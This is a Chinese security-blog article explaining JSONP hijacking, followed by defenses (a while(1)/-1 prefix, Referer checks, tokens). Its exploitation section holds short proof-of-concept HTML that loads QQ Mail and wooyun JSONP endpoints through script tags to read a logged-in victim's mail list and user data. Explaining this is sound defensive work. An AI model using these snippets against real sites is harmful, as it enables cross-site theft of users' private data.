神刀安全网

jsonp漏洞分析

漏洞原理

json(javascript object notation)是javascript对象表示法的意思。

比如:

var impromptu_object = {     "given_name" : "john",     "family_name": "smith",     "lucky_numbers": [11630,12067,12407,12887] }; alert(impromptu_object.given_name); 

运行结果是弹出john。

jsonp字面上的含义是”填充式(padding)的JSON”,它通过填充二外的内容吧JSON序列化包装起来,变成一段有效的可以独立运行的Javascript语句。常见的例子包括函数调用(例如callback_function({…JSON data…}))或变量赋值(var return_value = {…JSON data…})

利用方式

返回值形式为:变量赋值的形式

Qmail.newMailsList={total:446,mailHome:"http://mail.qq.com/cgi-bin/login?f...   <script>   var Qmail={};   先定义变量 </script>   <script src="http://mail.qq.com/cgi-bin/login?fun=passport&target=MLIST&t=login.js&pagesize=10&resp_charset=gb2312&1=3"></script>   <script>   alert(Qmail.newMailsList.nextUrl);   alert(document.scripts[1].src=Qmail.newMailsList.nextUrl);   alert(Qmail.newMailsList.summary);   </script>   

返回值形式为函数调用

<script>   function wooyun_callback(a){   alert(a);   }   </script>   <script src="http://www.wooyun.org/userdata.php?callback=wooyun_callback"></script>   

防御方案

1,对于同域的json使用情况下,可以在数据的输出头部加入while(1);的方式避免数据被script标签的方式引用,这可以防止一些比较有特性的浏览器里导致的数据泄漏。腾讯的一个案例加了”-1”

//Ignoring The First Item "-1"Qmail.newMailsList={total: 

2,referer的来源限制,利用前端referer的不可伪造性来保障请求数据的应用来源于可信的地方,此种方式力度较稀,完全依赖于referer,某些情况下(如存在xss)可能导致被绕过。

3,token的加入,严格来说,这种利用javascript hijacking的方式获取数据是CSRF的一种,不过较之传统的CSRF不能获取数据只能提交而言,这种方式利用javascript可以获取一些敏感信息而已。如果我们能让攻击者对接口未知,就可以实现json hijacking的防御了。利用token对调用者的身份进行认证,这种方式对于调用者的身份会要求力度较细,但是一旦出现xss也可能导致前端Token的泄露,从而导致保护失效。

参考资料

知道创宇 JSONP 安全攻防技术

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » jsonp漏洞分析

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮